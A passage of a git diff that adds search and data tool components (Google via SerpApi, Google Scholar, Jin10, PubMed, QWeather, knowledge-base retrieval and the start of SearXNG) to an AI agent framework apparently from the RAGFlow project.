+ "default": "0",
+ "required": False,
+ },
+ "num": {
+ "type": "integer",
+ "description": "Parameter defines the maximum number of results to return. (e.g., 10 (default) returns 10 results, 40 returns 40 results, and 100 returns 100 results). The use of num may introduce latency, and/or prevent the inclusion of specialized result types. It is better to omit this parameter unless it is strictly necessary to increase the number of results per page. Results are not guaranteed to have the number of results specified in num.",
+ "default": "6",
+ "required": False,
+ }
+ }
+ }
+ super().__init__()
+ self.start = 0
+ self.num = 6
+ self.api_key = ""
+ self.country = "cn"
+ self.language = "en"
+
+ def check(self):
+ self.check_empty(self.api_key, "SerpApi API key")
+ self.check_valid_value(self.country, "Google Country",
+ ['af', 'al', 'dz', 'as', 'ad', 'ao', 'ai', 'aq', 'ag', 'ar', 'am', 'aw', 'au', 'at',
+ 'az', 'bs', 'bh', 'bd', 'bb', 'by', 'be', 'bz', 'bj', 'bm', 'bt', 'bo', 'ba', 'bw',
+ 'bv', 'br', 'io', 'bn', 'bg', 'bf', 'bi', 'kh', 'cm', 'ca', 'cv', 'ky', 'cf', 'td',
+ 'cl', 'cn', 'cx', 'cc', 'co', 'km', 'cg', 'cd', 'ck', 'cr', 'ci', 'hr', 'cu', 'cy',
+ 'cz', 'dk', 'dj', 'dm', 'do', 'ec', 'eg', 'sv', 'gq', 'er', 'ee', 'et', 'fk', 'fo',
+ 'fj', 'fi', 'fr', 'gf', 'pf', 'tf', 'ga', 'gm', 'ge', 'de', 'gh', 'gi', 'gr', 'gl',
+ 'gd', 'gp', 'gu', 'gt', 'gn', 'gw', 'gy', 'ht', 'hm', 'va', 'hn', 'hk', 'hu', 'is',
+ 'in', 'id', 'ir', 'iq', 'ie', 'il', 'it', 'jm', 'jp', 'jo', 'kz', 'ke', 'ki', 'kp',
+ 'kr', 'kw', 'kg', 'la', 'lv', 'lb', 'ls', 'lr', 'ly', 'li', 'lt', 'lu', 'mo', 'mk',
+ 'mg', 'mw', 'my', 'mv', 'ml', 'mt', 'mh', 'mq', 'mr', 'mu', 'yt', 'mx', 'fm', 'md',
+ 'mc', 'mn', 'ms', 'ma', 'mz', 'mm', 'na', 'nr', 'np', 'nl', 'an', 'nc', 'nz', 'ni',
+ 'ne', 'ng', 'nu', 'nf', 'mp', 'no', 'om', 'pk', 'pw', 'ps', 'pa', 'pg', 'py', 'pe',
+ 'ph', 'pn', 'pl', 'pt', 'pr', 'qa', 're', 'ro', 'ru', 'rw', 'sh', 'kn', 'lc', 'pm',
+ 'vc', 'ws', 'sm', 'st', 'sa', 'sn', 'rs', 'sc', 'sl', 'sg', 'sk', 'si', 'sb', 'so',
+ 'za', 'gs', 'es', 'lk', 'sd', 'sr', 'sj', 'sz', 'se', 'ch', 'sy', 'tw', 'tj', 'tz',
+ 'th', 'tl', 'tg', 'tk', 'to', 'tt', 'tn', 'tr', 'tm', 'tc', 'tv', 'ug', 'ua', 'ae',
+ 'uk', 'gb', 'us', 'um', 'uy', 'uz', 'vu', 've', 'vn', 'vg', 'vi', 'wf', 'eh', 'ye',
+ 'zm', 'zw'])
+ self.check_valid_value(self.language, "Google languages",
+ ['af', 'ak', 'sq', 'ws', 'am', 'ar', 'hy', 'az', 'eu', 'be', 'bem', 'bn', 'bh',
+ 'xx-bork', 'bs', 'br', 'bg', 'bt', 'km', 'ca', 'chr', 'ny', 'zh-cn', 'zh-tw', 'co',
+ 'hr', 'cs', 'da', 'nl', 'xx-elmer', 'en', 'eo', 'et', 'ee', 'fo', 'tl', 'fi', 'fr',
+ 'fy', 'gaa', 'gl', 'ka', 'de', 'el', 'kl', 'gn', 'gu', 'xx-hacker', 'ht', 'ha', 'haw',
+ 'iw', 'hi', 'hu', 'is', 'ig', 'id', 'ia', 'ga', 'it', 'ja', 'jw', 'kn', 'kk', 'rw',
+ 'rn', 'xx-klingon', 'kg', 'ko', 'kri', 'ku', 'ckb', 'ky', 'lo', 'la', 'lv', 'ln', 'lt',
+ 'loz', 'lg', 'ach', 'mk', 'mg', 'ms', 'ml', 'mt', 'mv', 'mi', 'mr', 'mfe', 'mo', 'mn',
+ 'sr-me', 'my', 'ne', 'pcm', 'nso', 'no', 'nn', 'oc', 'or', 'om', 'ps', 'fa',
+ 'xx-pirate', 'pl', 'pt', 'pt-br', 'pt-pt', 'pa', 'qu', 'ro', 'rm', 'nyn', 'ru', 'gd',
+ 'sr', 'sh', 'st', 'tn', 'crs', 'sn', 'sd', 'si', 'sk', 'sl', 'so', 'es', 'es-419', 'su',
+ 'sw', 'sv', 'tg', 'ta', 'tt', 'te', 'th', 'ti', 'to', 'lua', 'tum', 'tr', 'tk', 'tw',
+ 'ug', 'uk', 'ur', 'uz', 'vu', 'vi', 'cy', 'wo', 'xh', 'yi', 'yo', 'zu']
+ )
+
+ def get_input_form(self) -> dict[str, dict]:
+ return {
+ "q": {
+ "name": "Query",
+ "type": "line"
+ },
+ "start": {
+ "name": "From",
+ "type": "integer",
+ "value": 0
+ },
+ "num": {
+ "name": "Limit",
+ "type": "integer",
+ "value": 12
+ }
+ }
+
+class Google(ToolBase, ABC):
+ component_name = "Google"
+
+ @timeout(int(os.environ.get("COMPONENT_EXEC_TIMEOUT", 12)))
+ def _invoke(self, **kwargs):
+ if not kwargs.get("q"):
+ self.set_output("formalized_content", "")
+ return ""
+
+ params = {
+ "api_key": self._param.api_key,
+ "engine": "google",
+ "q": kwargs["q"],
+ "google_domain": "google.com",
+ "gl": self._param.country,
+ "hl": self._param.language
+ }
+ last_e = ""
+ for _ in range(self._param.max_retries+1):
+ try:
+ search = GoogleSearch(params).get_dict()
+ self._retrieve_chunks(search["organic_results"],
+ get_title=lambda r: r["title"],
+ get_url=lambda r: r["link"],
+ get_content=lambda r: r.get("about_this_result", {}).get("source", {}).get("description", r["snippet"])
+ )
+ self.set_output("json", search["organic_results"])
+ return self.output("formalized_content")
+ except Exception as e:
+ last_e = e
+ logging.exception(f"Google error: {e}")
+ time.sleep(self._param.delay_after_error)
+
+ if last_e:
+ self.set_output("_ERROR", str(last_e))
+ return f"Google error: {last_e}"
+
+ assert False, self.output()
+
+ def thoughts(self) -> str:
+ return """
+Keywords: {}
+Looking for the most relevant articles.
+ """.format(self.get_input().get("query", "-_-!"))
diff --git a/agent/tools/googlescholar.py b/agent/tools/googlescholar.py
new file mode 100644
index 0000000..bf906da
--- /dev/null
+++ b/agent/tools/googlescholar.py
@@ -0,0 +1,96 @@
+#
+# Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+import logging
+import os
+import time
+from abc import ABC
+from scholarly import scholarly
+from agent.tools.base import ToolMeta, ToolParamBase, ToolBase
+from api.utils.api_utils import timeout
+
+
+class GoogleScholarParam(ToolParamBase):
+ """
+ Define the GoogleScholar component parameters.
+ """
+
+ def __init__(self):
+ self.meta:ToolMeta = {
+ "name": "google_scholar_search",
+ "description": """Google Scholar provides a simple way to broadly search for scholarly literature. From one place, you can search across many disciplines and sources: articles, theses, books, abstracts and court opinions, from academic publishers, professional societies, online repositories, universities and other web sites. Google Scholar helps you find relevant work across the world of scholarly research.""",
+ "parameters": {
+ "query": {
+ "type": "string",
+ "description": "The search keyword to execute with Google Scholar. The keywords should be the most important words/terms(includes synonyms) from the original request.",
+ "default": "{sys.query}",
+ "required": True
+ }
+ }
+ }
+ super().__init__()
+ self.top_n = 12
+ self.sort_by = 'relevance'
+ self.year_low = None
+ self.year_high = None
+ self.patents = True
+
+ def check(self):
+ self.check_positive_integer(self.top_n, "Top N")
+ self.check_valid_value(self.sort_by, "GoogleScholar Sort_by", ['date', 'relevance'])
+ self.check_boolean(self.patents, "Whether or not to include patents, defaults to True")
+
+ def get_input_form(self) -> dict[str, dict]:
+ return {
+ "query": {
+ "name": "Query",
+ "type": "line"
+ }
+ }
+
+class GoogleScholar(ToolBase, ABC):
+ component_name = "GoogleScholar"
+
+ @timeout(int(os.environ.get("COMPONENT_EXEC_TIMEOUT", 12)))
+ def _invoke(self, **kwargs):
+ if not kwargs.get("query"):
+ self.set_output("formalized_content", "")
+ return ""
+
+ last_e = ""
+ for _ in range(self._param.max_retries+1):
+ try:
+ scholar_client = scholarly.search_pubs(kwargs["query"], patents=self._param.patents, year_low=self._param.year_low,
+ year_high=self._param.year_high, sort_by=self._param.sort_by)
+ self._retrieve_chunks(scholar_client,
+ get_title=lambda r: r['bib']['title'],
+ get_url=lambda r: r["pub_url"],
+ get_content=lambda r: "\n author: " + ",".join(r['bib']['author']) + '\n Abstract: ' + r['bib'].get('abstract', 'no abstract')
+ )
+ self.set_output("json", list(scholar_client))
+ return self.output("formalized_content")
+ except Exception as e:
+ last_e = e
+ logging.exception(f"GoogleScholar error: {e}")
+ time.sleep(self._param.delay_after_error)
+
+ if last_e:
+ self.set_output("_ERROR", str(last_e))
+ return f"GoogleScholar error: {last_e}"
+
+ assert False, self.output()
+
+ def thoughts(self) -> str:
+ return "Looking for scholarly papers on `{}`,” prioritising reputable sources.".format(self.get_input().get("query", "-_-!"))
diff --git a/agent/tools/jin10.py b/agent/tools/jin10.py
new file mode 100644
index 0000000..583a182
--- /dev/null
+++ b/agent/tools/jin10.py
@@ -0,0 +1,130 @@
+#
+# Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+import json
+from abc import ABC
+import pandas as pd
+import requests
+from agent.component.base import ComponentBase, ComponentParamBase
+
+
+class Jin10Param(ComponentParamBase):
+ """
+ Define the Jin10 component parameters.
+ """
+
+ def __init__(self):
+ super().__init__()
+ self.type = "flash"
+ self.secret_key = "xxx"
+ self.flash_type = '1'
+ self.calendar_type = 'cj'
+ self.calendar_datatype = 'data'
+ self.symbols_type = 'GOODS'
+ self.symbols_datatype = 'symbols'
+ self.contain = ""
+ self.filter = ""
+
+ def check(self):
+ self.check_valid_value(self.type, "Type", ['flash', 'calendar', 'symbols', 'news'])
+ self.check_valid_value(self.flash_type, "Flash Type", ['1', '2', '3', '4', '5'])
+ self.check_valid_value(self.calendar_type, "Calendar Type", ['cj', 'qh', 'hk', 'us'])
+ self.check_valid_value(self.calendar_datatype, "Calendar DataType", ['data', 'event', 'holiday'])
+ self.check_valid_value(self.symbols_type, "Symbols Type", ['GOODS', 'FOREX', 'FUTURE', 'CRYPTO'])
+ self.check_valid_value(self.symbols_datatype, 'Symbols DataType', ['symbols', 'quotes'])
+
+
+class Jin10(ComponentBase, ABC):
+ component_name = "Jin10"
+
+ def _run(self, history, **kwargs):
+ ans = self.get_input()
+ ans = " - ".join(ans["content"]) if "content" in ans else ""
+ if not ans:
+ return Jin10.be_output("")
+
+ jin10_res = []
+ headers = {'secret-key': self._param.secret_key}
+ try:
+ if self._param.type == "flash":
+ params = {
+ 'category': self._param.flash_type,
+ 'contain': self._param.contain,
+ 'filter': self._param.filter
+ }
+ response = requests.get(
+ url='https://open-data-api.jin10.com/data-api/flash?category=' + self._param.flash_type,
+ headers=headers, data=json.dumps(params))
+ response = response.json()
+ for i in response['data']:
+ jin10_res.append({"content": i['data']['content']})
+ if self._param.type == "calendar":
+ params = {
+ 'category': self._param.calendar_type
+ }
+ response = requests.get(
+ url='https://open-data-api.jin10.com/data-api/calendar/' + self._param.calendar_datatype + '?category=' + self._param.calendar_type,
+ headers=headers, data=json.dumps(params))
+
+ response = response.json()
+ jin10_res.append({"content": pd.DataFrame(response['data']).to_markdown()})
+ if self._param.type == "symbols":
+ params = {
+ 'type': self._param.symbols_type
+ }
+ if self._param.symbols_datatype == "quotes":
+ params['codes'] = 'BTCUSD'
+ response = requests.get(
+ url='https://open-data-api.jin10.com/data-api/' + self._param.symbols_datatype + '?type=' + self._param.symbols_type,
+ headers=headers, data=json.dumps(params))
+ response = response.json()
+ if self._param.symbols_datatype == "symbols":
+ for i in response['data']:
+ i['Commodity Code'] = i['c']
+ i['Stock Exchange'] = i['e']
+ i['Commodity Name'] = i['n']
+ i['Commodity Type'] = i['t']
+ del i['c'], i['e'], i['n'], i['t']
+ if self._param.symbols_datatype == "quotes":
+ for i in response['data']:
+ i['Selling Price'] = i['a']
+ i['Buying Price'] = i['b']
+ i['Commodity Code'] = i['c']
+ i['Stock Exchange'] = i['e']
+ i['Highest Price'] = i['h']
+ i['Yesterday’s Closing Price'] = i['hc']
+ i['Lowest Price'] = i['l']
+ i['Opening Price'] = i['o']
+ i['Latest Price'] = i['p']
+ i['Market Quote Time'] = i['t']
+ del i['a'], i['b'], i['c'], i['e'], i['h'], i['hc'], i['l'], i['o'], i['p'], i['t']
+ jin10_res.append({"content": pd.DataFrame(response['data']).to_markdown()})
+ if self._param.type == "news":
+ params = {
+ 'contain': self._param.contain,
+ 'filter': self._param.filter
+ }
+ response = requests.get(
+ url='https://open-data-api.jin10.com/data-api/news',
+ headers=headers, data=json.dumps(params))
+ response = response.json()
+ jin10_res.append({"content": pd.DataFrame(response['data']).to_markdown()})
+ except Exception as e:
+ return Jin10.be_output("**ERROR**: " + str(e))
+
+ if not jin10_res:
+ return Jin10.be_output("")
+
+ return pd.DataFrame(jin10_res)
diff --git a/agent/tools/pubmed.py b/agent/tools/pubmed.py
new file mode 100644
index 0000000..6dce92a
--- /dev/null
+++ b/agent/tools/pubmed.py
@@ -0,0 +1,108 @@
+#
+# Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+import logging
+import os
+import time
+from abc import ABC
+from Bio import Entrez
+import re
+import xml.etree.ElementTree as ET
+from agent.tools.base import ToolParamBase, ToolMeta, ToolBase
+from api.utils.api_utils import timeout
+
+
+class PubMedParam(ToolParamBase):
+ """
+ Define the PubMed component parameters.
+ """
+
+ def __init__(self):
+ self.meta:ToolMeta = {
+ "name": "pubmed_search",
+ "description": """
+PubMed is an openly accessible, free database which includes primarily the MEDLINE database of references and abstracts on life sciences and biomedical topics.
+In addition to MEDLINE, PubMed provides access to:
+ - older references from the print version of Index Medicus, back to 1951 and earlier
+ - references to some journals before they were indexed in Index Medicus and MEDLINE, for instance Science, BMJ, and Annals of Surgery
+ - very recent entries to records for an article before it is indexed with Medical Subject Headings (MeSH) and added to MEDLINE
+ - a collection of books available full-text and other subsets of NLM records[4]
+ - PMC citations
+ - NCBI Bookshelf
+ """,
+ "parameters": {
+ "query": {
+ "type": "string",
+ "description": "The search keywords to execute with PubMed. The keywords should be the most important words/terms(includes synonyms) from the original request.",
+ "default": "{sys.query}",
+ "required": True
+ }
+ }
+ }
+ super().__init__()
+ self.top_n = 12
+ self.email = "A.N.Other@example.com"
+
+ def check(self):
+ self.check_positive_integer(self.top_n, "Top N")
+
+ def get_input_form(self) -> dict[str, dict]:
+ return {
+ "query": {
+ "name": "Query",
+ "type": "line"
+ }
+ }
+
+class PubMed(ToolBase, ABC):
+ component_name = "PubMed"
+
+ @timeout(int(os.environ.get("COMPONENT_EXEC_TIMEOUT", 12)))
+ def _invoke(self, **kwargs):
+ if not kwargs.get("query"):
+ self.set_output("formalized_content", "")
+ return ""
+
+ last_e = ""
+ for _ in range(self._param.max_retries+1):
+ try:
+ Entrez.email = self._param.email
+ pubmedids = Entrez.read(Entrez.esearch(db='pubmed', retmax=self._param.top_n, term=kwargs["query"]))['IdList']
+ pubmedcnt = ET.fromstring(re.sub(r'<(/?)b>|<(/?)i>', '', Entrez.efetch(db='pubmed', id=",".join(pubmedids),
+ retmode="xml").read().decode("utf-8")))
+ self._retrieve_chunks(pubmedcnt.findall("PubmedArticle"),
+ get_title=lambda child: child.find("MedlineCitation").find("Article").find("ArticleTitle").text,
+ get_url=lambda child: "https://pubmed.ncbi.nlm.nih.gov/" + child.find("MedlineCitation").find("PMID").text,
+ get_content=lambda child: child.find("MedlineCitation") \
+ .find("Article") \
+ .find("Abstract") \
+ .find("AbstractText").text \
+ if child.find("MedlineCitation")\
+ .find("Article").find("Abstract") \
+ else "No abstract available")
+ return self.output("formalized_content")
+ except Exception as e:
+ last_e = e
+ logging.exception(f"PubMed error: {e}")
+ time.sleep(self._param.delay_after_error)
+
+ if last_e:
+ self.set_output("_ERROR", str(last_e))
+ return f"PubMed error: {last_e}"
+
+ assert False, self.output()
+
+ def thoughts(self) -> str:
+ return "Looking for scholarly papers on `{}`,” prioritising reputable sources.".format(self.get_input().get("query", "-_-!"))
diff --git a/agent/tools/qweather.py b/agent/tools/qweather.py
new file mode 100644
index 0000000..2c38a8b
--- /dev/null
+++ b/agent/tools/qweather.py
@@ -0,0 +1,111 @@
+#
+# Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+from abc import ABC
+import pandas as pd
+import requests
+from agent.component.base import ComponentBase, ComponentParamBase
+
+
+class QWeatherParam(ComponentParamBase):
+ """
+ Define the QWeather component parameters.
+ """
+
+ def __init__(self):
+ super().__init__()
+ self.web_apikey = "xxx"
+ self.lang = "zh"
+ self.type = "weather"
+ self.user_type = 'free'
+ self.error_code = {
+ "204": "The request was successful, but the region you are querying does not have the data you need at this time.",
+ "400": "Request error, may contain incorrect request parameters or missing mandatory request parameters.",
+ "401": "Authentication fails, possibly using the wrong KEY, wrong digital signature, wrong type of KEY (e.g. using the SDK's KEY to access the Web API).",
+ "402": "Exceeded the number of accesses or the balance is not enough to support continued access to the service, you can recharge, upgrade the accesses or wait for the accesses to be reset.",
+ "403": "No access, may be the binding PackageName, BundleID, domain IP address is inconsistent, or the data that requires additional payment.",
+ "404": "The queried data or region does not exist.",
+ "429": "Exceeded the limited QPM (number of accesses per minute), please refer to the QPM description",
+ "500": "No response or timeout, interface service abnormality please contact us"
+ }
+ # Weather
+ self.time_period = 'now'
+
+ def check(self):
+ self.check_empty(self.web_apikey, "BaiduFanyi APPID")
+ self.check_valid_value(self.type, "Type", ["weather", "indices", "airquality"])
+ self.check_valid_value(self.user_type, "Free subscription or paid subscription", ["free", "paid"])
+ self.check_valid_value(self.lang, "Use language",
+ ['zh', 'zh-hant', 'en', 'de', 'es', 'fr', 'it', 'ja', 'ko', 'ru', 'hi', 'th', 'ar', 'pt',
+ 'bn', 'ms', 'nl', 'el', 'la', 'sv', 'id', 'pl', 'tr', 'cs', 'et', 'vi', 'fil', 'fi',
+ 'he', 'is', 'nb'])
+ self.check_valid_value(self.time_period, "Time period", ['now', '3d', '7d', '10d', '15d', '30d'])
+
+
+class QWeather(ComponentBase, ABC):
+ component_name = "QWeather"
+
+ def _run(self, history, **kwargs):
+ ans = self.get_input()
+ ans = "".join(ans["content"]) if "content" in ans else ""
+ if not ans:
+ return QWeather.be_output("")
+
+ try:
+ response = requests.get(
+ url="https://geoapi.qweather.com/v2/city/lookup?location=" + ans + "&key=" + self._param.web_apikey).json()
+ if response["code"] == "200":
+ location_id = response["location"][0]["id"]
+ else:
+ return QWeather.be_output("**Error**" + self._param.error_code[response["code"]])
+
+ base_url = "https://api.qweather.com/v7/" if self._param.user_type == 'paid' else "https://devapi.qweather.com/v7/"
+
+ if self._param.type == "weather":
+ url = base_url + "weather/" + self._param.time_period + "?location=" + location_id + "&key=" + self._param.web_apikey + "&lang=" + self._param.lang
+ response = requests.get(url=url).json()
+ if response["code"] == "200":
+ if self._param.time_period == "now":
+ return QWeather.be_output(str(response["now"]))
+ else:
+ qweather_res = [{"content": str(i) + "\n"} for i in response["daily"]]
+ if not qweather_res:
+ return QWeather.be_output("")
+
+ df = pd.DataFrame(qweather_res)
+ return df
+ else:
+ return QWeather.be_output("**Error**" + self._param.error_code[response["code"]])
+
+ elif self._param.type == "indices":
+ url = base_url + "indices/1d?type=0&location=" + location_id + "&key=" + self._param.web_apikey + "&lang=" + self._param.lang
+ response = requests.get(url=url).json()
+ if response["code"] == "200":
+ indices_res = response["daily"][0]["date"] + "\n" + "\n".join(
+ [i["name"] + ": " + i["category"] + ", " + i["text"] for i in response["daily"]])
+ return QWeather.be_output(indices_res)
+
+ else:
+ return QWeather.be_output("**Error**" + self._param.error_code[response["code"]])
+
+ elif self._param.type == "airquality":
+ url = base_url + "air/now?location=" + location_id + "&key=" + self._param.web_apikey + "&lang=" + self._param.lang
+ response = requests.get(url=url).json()
+ if response["code"] == "200":
+ return QWeather.be_output(str(response["now"]))
+ else:
+ return QWeather.be_output("**Error**" + self._param.error_code[response["code"]])
+ except Exception as e:
+ return QWeather.be_output("**Error**" + str(e))
diff --git a/agent/tools/retrieval.py b/agent/tools/retrieval.py
new file mode 100644
index 0000000..24370f1
--- /dev/null
+++ b/agent/tools/retrieval.py
@@ -0,0 +1,181 @@
+#
+# Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+import os
+import re
+from abc import ABC
+from agent.tools.base import ToolParamBase, ToolBase, ToolMeta
+from api.db import LLMType
+from api.db.services.knowledgebase_service import KnowledgebaseService
+from api.db.services.llm_service import LLMBundle
+from api import settings
+from api.utils.api_utils import timeout
+from rag.app.tag import label_question
+from rag.prompts.generator import cross_languages, kb_prompt
+
+
+class RetrievalParam(ToolParamBase):
+ """
+ Define the Retrieval component parameters.
+ """
+
+ def __init__(self):
+ self.meta:ToolMeta = {
+ "name": "search_my_dateset",
+ "description": "This tool can be utilized for relevant content searching in the datasets.",
+ "parameters": {
+ "query": {
+ "type": "string",
+ "description": "The keywords to search the dataset. The keywords should be the most important words/terms(includes synonyms) from the original request.",
+ "default": "",
+ "required": True
+ }
+ }
+ }
+ super().__init__()
+ self.function_name = "search_my_dateset"
+ self.description = "This tool can be utilized for relevant content searching in the datasets."
+ self.similarity_threshold = 0.2
+ self.keywords_similarity_weight = 0.5
+ self.top_n = 8
+ self.top_k = 1024
+ self.kb_ids = []
+ self.kb_vars = []
+ self.rerank_id = ""
+ self.empty_response = ""
+ self.use_kg = False
+ self.cross_languages = []
+
+ def check(self):
+ self.check_decimal_float(self.similarity_threshold, "[Retrieval] Similarity threshold")
+ self.check_decimal_float(self.keywords_similarity_weight, "[Retrieval] Keyword similarity weight")
+ self.check_positive_number(self.top_n, "[Retrieval] Top N")
+
+ def get_input_form(self) -> dict[str, dict]:
+ return {
+ "query": {
+ "name": "Query",
+ "type": "line"
+ }
+ }
+
+class Retrieval(ToolBase, ABC):
+ component_name = "Retrieval"
+
+ @timeout(int(os.environ.get("COMPONENT_EXEC_TIMEOUT", 12)))
+ def _invoke(self, **kwargs):
+ if not kwargs.get("query"):
+ self.set_output("formalized_content", self._param.empty_response)
+
+ kb_ids: list[str] = []
+ for id in self._param.kb_ids:
+ if id.find("@") < 0:
+ kb_ids.append(id)
+ continue
+ kb_nm = self._canvas.get_variable_value(id)
+ # if kb_nm is a list
+ kb_nm_list = kb_nm if isinstance(kb_nm, list) else [kb_nm]
+ for nm_or_id in kb_nm_list:
+ e, kb = KnowledgebaseService.get_by_name(nm_or_id,
+ self._canvas._tenant_id)
+ if not e:
+ e, kb = KnowledgebaseService.get_by_id(nm_or_id)
+ if not e:
+ raise Exception(f"Dataset({nm_or_id}) does not exist.")
+ kb_ids.append(kb.id)
+
+ filtered_kb_ids: list[str] = list(set([kb_id for kb_id in kb_ids if kb_id]))
+
+ kbs = KnowledgebaseService.get_by_ids(filtered_kb_ids)
+ if not kbs:
+ raise Exception("No dataset is selected.")
+
+ embd_nms = list(set([kb.embd_id for kb in kbs]))
+ assert len(embd_nms) == 1, "Knowledge bases use different embedding models."
+
+ embd_mdl = None
+ if embd_nms:
+ embd_mdl = LLMBundle(self._canvas.get_tenant_id(), LLMType.EMBEDDING, embd_nms[0])
+
+ rerank_mdl = None
+ if self._param.rerank_id:
+ rerank_mdl = LLMBundle(kbs[0].tenant_id, LLMType.RERANK, self._param.rerank_id)
+
+ vars = self.get_input_elements_from_text(kwargs["query"])
+ vars = {k:o["value"] for k,o in vars.items()}
+ query = self.string_format(kwargs["query"], vars)
+ if self._param.cross_languages:
+ query = cross_languages(kbs[0].tenant_id, None, query, self._param.cross_languages)
+
+ if kbs:
+ query = re.sub(r"^user[::\s]*", "", query, flags=re.IGNORECASE)
+ kbinfos = settings.retrievaler.retrieval(
+ query,
+ embd_mdl,
+ [kb.tenant_id for kb in kbs],
+ filtered_kb_ids,
+ 1,
+ self._param.top_n,
+ self._param.similarity_threshold,
+ 1 - self._param.keywords_similarity_weight,
+ aggs=False,
+ rerank_mdl=rerank_mdl,
+ rank_feature=label_question(query, kbs),
+ )
+ if self._param.use_kg:
+ ck = settings.kg_retrievaler.retrieval(query,
+ [kb.tenant_id for kb in kbs],
+ kb_ids,
+ embd_mdl,
+ LLMBundle(self._canvas.get_tenant_id(), LLMType.CHAT))
+ if ck["content_with_weight"]:
+ kbinfos["chunks"].insert(0, ck)
+ else:
+ kbinfos = {"chunks": [], "doc_aggs": []}
+
+ if self._param.use_kg and kbs:
+ ck = settings.kg_retrievaler.retrieval(query, [kb.tenant_id for kb in kbs], filtered_kb_ids, embd_mdl, LLMBundle(kbs[0].tenant_id, LLMType.CHAT))
+ if ck["content_with_weight"]:
+ ck["content"] = ck["content_with_weight"]
+ del ck["content_with_weight"]
+ kbinfos["chunks"].insert(0, ck)
+
+ for ck in kbinfos["chunks"]:
+ if "vector" in ck:
+ del ck["vector"]
+ if "content_ltks" in ck:
+ del ck["content_ltks"]
+
+ if not kbinfos["chunks"]:
+ self.set_output("formalized_content", self._param.empty_response)
+ return
+
+ # Format the chunks for JSON output (similar to how other tools do it)
+ json_output = kbinfos["chunks"].copy()
+
+ self._canvas.add_reference(kbinfos["chunks"], kbinfos["doc_aggs"])
+ form_cnt = "\n".join(kb_prompt(kbinfos, 200000, True))
+
+ # Set both formalized content and JSON output
+ self.set_output("formalized_content", form_cnt)
+ self.set_output("json", json_output)
+
+ return form_cnt
+
+ def thoughts(self) -> str:
+ return """
+Keywords: {}
+Looking for the most relevant articles.
+ """.format(self.get_input().get("query", "-_-!"))
diff --git a/agent/tools/searxng.py b/agent/tools/searxng.py
new file mode 100644
index 0000000..32e8075
--- /dev/null
+++ b/agent/tools/searxng.py
@@ -0,0 +1,151 @@
+#
+# Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+import logging
+import os
+import time
+from abc import ABC
+import requests
+from agent.tools.base import ToolMeta, ToolParamBase, ToolBase
+from api.utils.api_utils import timeout
+
+
+class SearXNGParam(ToolParamBase):
+ """
+ Define the SearXNG component parameters.
+ """
+
+ def __init__(self):
+ self.meta: ToolMeta = {
+ "name": "searxng_search",
+ "description": "SearXNG is a privacy-focused metasearch engine that aggregates results from multiple search engines without tracking users. It provides comprehensive web search capabilities.",
+ "parameters": {
+ "query": {
+ "type": "string",
+ "description": "The search keywords to execute with SearXNG. The keywords should be the most important words/terms(includes synonyms) from the original request.",
+ "default": "{sys.query}",
+ "required": True
+ },
+ "searxng_url": {
+ "type": "string",
+ "description": "The base URL of your SearXNG instance (e.g., http://localhost:4000). This is required to connect to your SearXNG server.",
+ "required": False,
+ "default": ""
+ }
+ }
+ }
+ super().__init__()
+ self.top_n = 10
+ self.searxng_url = ""
+
+ def check(self):
+ # Keep validation lenient so opening try-run panel won't fail without URL.
+ # Coerce top_n to int if it comes as string from UI.
+ try:
+ if isinstance(self.top_n, str):
+ self.top_n = int(self.top_n.strip())
+ except Exception:
+ pass
+ self.check_positive_integer(self.top_n, "Top N")
+
+ def get_input_form(self) -> dict[str, dict]:
+ return {
+ "query": {
+ "name": "Query",
+ "type": "line"
+ },
+ "searxng_url": {
+ "name": "SearXNG URL",
+ "type": "line",
+ "placeholder": "http://localhost:4000"
+ }
+ }
+
+
+class SearXNG(ToolBase, ABC):
+ component_name = "SearXNG"
+
